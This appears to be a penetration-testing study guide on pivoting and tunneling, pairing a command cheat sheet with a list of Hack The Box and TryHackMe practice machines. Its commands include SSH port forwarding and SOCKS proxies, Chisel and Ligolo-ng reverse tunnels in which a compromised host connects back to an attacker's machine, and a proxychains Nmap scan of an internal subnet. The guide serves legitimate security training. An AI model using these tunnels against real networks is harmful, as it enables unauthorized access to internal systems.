Pivoting and Tunneling: practice machines and key commands

By Daniel Dayan ยท Updated

Pivoting uses a compromised host as a relay into networks you cannot reach directly. The simplest tool is SSH: -L forwards a local port to an internal service, -R exposes a port from the target back to you, and -D creates a SOCKS proxy that proxychains can use for scanners. When SSH is not available, Chisel and Ligolo-ng provide reverse tunnels over a single outbound connection, and Windows hosts can use netsh portproxy. Scan through the tunnel with full connect scans, since SYN scans do not traverse SOCKS. Map the internal subnets with ip a and arp, then repeat enumeration on each new segment. Keep a diagram of which tunnel leads where. The boxes listed require reaching a second network.

Key commands

Placeholders in braces, such as {TARGET_IP}, are values you fill in for your target.

SSH Dynamic Port Forwarding (SOCKS5)

Open a local SOCKS5 proxy on port 1080 routed through target SSH host.

ssh -D 1080 -f -C -q -N {USER}@{TARGET_IP}

SSH Local Port Forwarding (-L)

Forward target internal port (e.g. 8443) to local port 9999 on attacker machine.

ssh -L 9999:127.0.0.1:8443 {USER}@{TARGET_IP} -N

SSH Reverse Remote Forwarding (-R)

Expose local port or listener on compromised host back to attacker machine.

ssh -R {LPORT}:127.0.0.1:80 {USER}@{LHOST} -N

Chisel Attacker Reverse Tunnel Server

Start Chisel reverse tunnel listener on attacker machine on port 8000.

./chisel server -p 8000 --reverse

Chisel Victim Reverse Socks Pivot

Connect back to attacker server and open socks5 proxy port 1080 to access internal network.

./chisel client {LHOST}:8000 R:socks

Ligolo-ng High-Performance TUN Interface Pivot

Fast userland tunnel creating real system tun adapter for seamless Nmap/Metasploit routing.

# On Attacker:
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# On Compromised Host:
./agent -connect {LHOST}:11601 -ignore-cert

# Add route on Attacker:
sudo ip route add 172.16.1.0/24 dev ligolo

Proxychains TCP Full Connect Nmap Scan

Route Nmap port scan through SOCKS proxy tunnel to scan internal networks.

proxychains4 -q nmap -sT -Pn -p 21,22,80,445,3389,8080 172.16.1.10

Keep going

Pivoting and Tunneling machines (22)

20 Linux, 2 Windows.

Listed when a machine has a catalog tag that is one of: pivoting, tunneling, port forwarding, chisel, ligolo, proxychains, socat, ssh tunnel, socks. Capital letters, hyphens and underscores are ignored, and the tags that matched come first in each row.

Pivoting and Tunneling at a glance

Very Easy (1)

MachinePlatformOSTags
FunnelPort-ForwardingTunnelingSSHPostgreSQLHTBLinuxPort-Forwarding, Tunneling, SSH, PostgreSQL

Easy (8)

MachinePlatformOSTags
Alert IppSecPort-ForwardingMarkdown XSSLFIHTBLinuxPort-Forwarding, Markdown XSS, LFI
Buff IppSecPort-ForwardingBuffer-OverflowUnauthenticated-RCEHTBWindowsPort-Forwarding, Buffer-Overflow, Unauthenticated-RCE
Chemistry IppSecPivotingCIF ParserPythonHTBLinuxPivoting, CIF Parser, Python
Horizontall IppSecPort-ForwardingCVE-2019-18818CVE-2019-19609CVE-2021-3129HTBLinuxPort-Forwarding, CVE-2019-18818, CVE-2019-19609, CVE-2021-3129
PC IppSecPivotinggRPCSQLiPySqliteHTBLinuxPivoting, gRPC, SQLi, PySqlite
Sea IppSecPivotingSeaCMSXSSHTBLinuxPivoting, SeaCMS, XSS
Sightless IppSecPivotingSQLPadChrome DevToolsHTBLinuxPivoting, SQLPad, Chrome DevTools
VulnNet: InternalTunnelingSMBRedisTeamCityTHMLinuxTunneling, SMB, Redis, TeamCity

Medium (6)

MachinePlatformOSTags
Bagel IppSecPivotingLFISpring Boot.NET DeserializationHTBLinuxPivoting, LFI, Spring Boot, .NET Deserialization
Format IppSecPivotingLFINginx TraversalRedisHTBLinuxPivoting, LFI, Nginx Traversal, Redis
Only4YouPivotingCypher InjectionNeo4jPipHTBLinuxPivoting, Cypher Injection, Neo4j, Pip
Sandworm IppSecPivotingSSTISandbox EscapeFirejailHTBLinuxPivoting, SSTI, Sandbox Escape, Firejail
Shared IppSecPort-ForwardingCVE-2022-0543CVE-2022-21699HTBLinuxPort-Forwarding, CVE-2022-0543, CVE-2022-21699
Surveillance IppSecPivotingCraft CMSZoneMinderCVE-2023-41892HTBLinuxPivoting, Craft CMS, ZoneMinder, CVE-2023-41892

Hard (6)

MachinePlatformOSTags
BorderlandsPivotingAPIDockerTHMLinuxPivoting, API, Docker
FlightPivotingActive DirectoryResponderAD CSHTBWindowsPivoting, Active Directory, Responder, AD CS
ForwardSlash IppSecPivotingBash-ScriptingBlind-XXEHTBLinuxPivoting, Bash-Scripting, Blind-XXE
InternalTunnelingWordPressJenkinsDocker-EscapeTHMLinuxTunneling, WordPress, Jenkins, Docker-Escape
RainyDay IppSecTunnelingDocker/Host-shared-PIDsPythonHTBLinuxTunneling, Docker/Host-shared-PIDs, Python
Year of the FoxPort-ForwardingCommand-InjectionTHMLinuxPort-Forwarding, Command-Injection

Insane (1)

MachinePlatformOSTags
Reddish IppSecTunnelingHTBLinuxTunneling

Related techniques

Related guides: HTB CPTS exam guide, OSCP vs CPTS, HTB Pro Labs guide, HTB vs TryHackMe.

Practise it, then track it.

Log every box and the commands you used in ZeroBox.